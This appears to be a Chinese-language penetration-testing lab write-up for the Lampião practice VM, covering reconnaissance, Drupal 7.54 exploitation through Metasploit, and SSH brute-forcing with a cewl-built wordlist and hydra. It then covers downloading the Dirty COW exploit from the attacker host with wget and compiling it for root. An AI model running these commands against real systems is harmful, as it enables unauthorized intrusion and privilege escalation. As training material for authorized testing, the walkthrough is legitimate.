友情提示:本文以及本站所有发布内容仅供学习研究之用,目的在于记录和分享学习心得,与同样的渗透爱好者进行交流,提升技术水平以便在工作中能够加以运用,保卫网络空间安全,对任何个人或组织的系统进行测试均需要获得其授权,否则后果自负!
本靶场练习及整理笔记耗时大约5小时,使用到的信息收集技术包括端口扫描、页面枚举、目录爆破等,漏洞利用环节采用MSF直接漏洞利用,以及通过页面自动构造密码字典并爆破ssh两种策略获取shell,并列举了其他漏洞利用思路;提权环节认识到LES Linux权限提升审计工具,提权思路更加开阔。另外,本次本篇笔记较上一篇更加简洁,更便于阅读。
0 配置网络环境
局域网设备较多,所以不使用桥接方式,将靶机和Kali虚拟机网络都配置为:特定虚拟网络,选择VMnet1(仅主机模式)。
1 探测靶机IP
1 | sudo nmap -sS -sV -T5 -A 172.16.50.0/24 |
发现靶机IP为:172.16.50.130,且开启22、80端口
Kali IP为:172.16.50.128
2 靶机端口扫描
进一步探测主机开放端口,发现除了22、80,还存在1898端口处于开启状态
3 访问Web页面信息收集
访问80端口,http://172.16.50.130/
没有发现什么有用信息,提示说很简单。
1 | _____ _ _ |
我们继续访问1898端口,http://172.16.50.130:1898/
发现名为Lampião的页面
4 页面枚举,发现价值信息
点击右下角“Read more”,观察URL,可进行页面枚举,http://172.16.50.130:1898/?q=node/1
在第二个页面发现有价值信息,一个音频文件和一个图片:
audio.m4a
qrc.png
尝试访问以上两个文件:
http://172.16.50.130:1898/audio.m4a
http://172.16.50.130:1898/qrc.png
语音可以获取到用户名:tiago
通过扫描二维码可以获取到信息:Try harder! muahuahua
需要爆破口令
5 网站目录爆破
使用DirB爆破网站目录,发现存在一个robots.txt文件
dirb http://172.16.50.130:1898/
查看robots.txt文件,发现一些文件,第一个文件是“CHANGELOG.txt”,尝试打开
http://172.16.50.130:1898//CHANGELOG.txt
发现一个关键信息,Drupal 7.54, 2017-02-01
6 漏洞利用
6.1 MSF获取Shell
该版本可能存在可利用漏洞,直接kali中查找:searchsploit Drupal
我们打开MSF
─$ msfconsole
msf6 > search Drupal
msf6 > use 1
set RHOST 172.16.50.130
set RPORT 1898
set LHOST 172.16.50.128
run
成功获取shell
6.2 获取权限的另一种思路——ssh口令爆破
ssh口令爆破
6.2.1 通过网站页面构造密码字典
首先通过cewl构造密码字典
cewl http://10.211.55.9:1898/?q=node/1 -2 frank.txt
6.2.2 使用构造的密码字典爆破ssh
使用构造的字典爆破ssh,用户名:tiago
hydra -l tiago -P frank.txt 172.16.50.130 ssh
爆破成功!
[22][ssh] host: 172.16.50.130 login: tiago password: Virgulino
通过ssh登录靶机,是低权限用户,需要提权。
6.3 其他思路
还可以直接使用漏扫,如Xray等,结合BurpSuite,可以发现其他漏洞来利用。
7 提权!
7.1 审计可用提权漏洞
7.1.1 LES Linux提权审计工具介绍
Google:Linux suggest exploit
https://github.com/The-Z-Labs/linux-exploit-suggester
找到一款神器!
LES:Linux提权审计工具
LES 工具旨在帮助检测给定 Linux 内核/基于 Linux 的机器的安全缺陷。 它提供以下功能:
1、评估内核对公开漏洞的暴露
工具评估目标内核在每个公开的 Linux 内核漏洞利用中的暴露情况。对于每个漏洞,都会计算暴露程度。
2、验证内核强化安全措施的状态
LES 可以检查 Linux 内核可用的大部分安全设置。 它不仅验证内核编译时配置 (CONFIG),还验证运行时设置 (sysctl),从而更全面地了解运行内核的安全状况。 此功能是 Tobias Klein 的 checksec.sh 工具 –kernel switch 的现代延续。
7.1.2 获取提权审计工具并上载到目标机器
由于我的实验环境配置的是虚拟专用网络,kali无法直接联网下载,我们通过本机下载后Copy到Kali
Kali开启http服务,将该ssh脚本上传至靶机
Kali:python -m SimpleHTTPServer 8888
靶机:先切换目录至tmp下,cd /tmp,再下载脚本
wget http://172.16.50.128:8888/linux-exploit-suggester.sh
7.1.3 运行LES,审计可用提权漏洞
赋予脚本文件执行权限,然后运行此脚本,结果中可以看到,工具列举了目标系统版本信息,以及列举漏洞审计结果
tiago@lampiao:/tmp$ chmod +x linux-exploit-suggester.sh
tiago@lampiao:/tmp$ ./linux-exploit-suggester.sh
这个工具还是很强大的,
我们使用脏牛漏洞来尝试提权,这个比较典型,其他的大家可以去试试。
7.2 通过脏牛漏洞提权
7.2.1 搜索并获取可用exp
Google搜索:CVE-2016-5195 exploit
找到页面:https://www.exploit-db.com/exploits/40847
(40839是旧的,测试其执行后会将靶机打挂掉,建议不要用)
7.2.2 上载文件到目标机器
我们下载该文件,并上传至kali(kali中应该有该文件,直接使用即可),本次通过直接网站下载的方式,物理机下载到文件复制到Kali,再由靶机从Kali下载到其本地。
wget http://172.16.50.128:8888/40847.cpp
..
7.2.3 编译执行,获取flag
在靶机编译40847.cpp文件,执行编译出的二进制文件,获取到flag
1 | tiago@lampiao:~$ mv 40847.cpp /tmp/ |
文章使用小书匠MarkDown编辑器书写,大家可以通过本站小书匠邀请码一文获取邀请码及下载链接。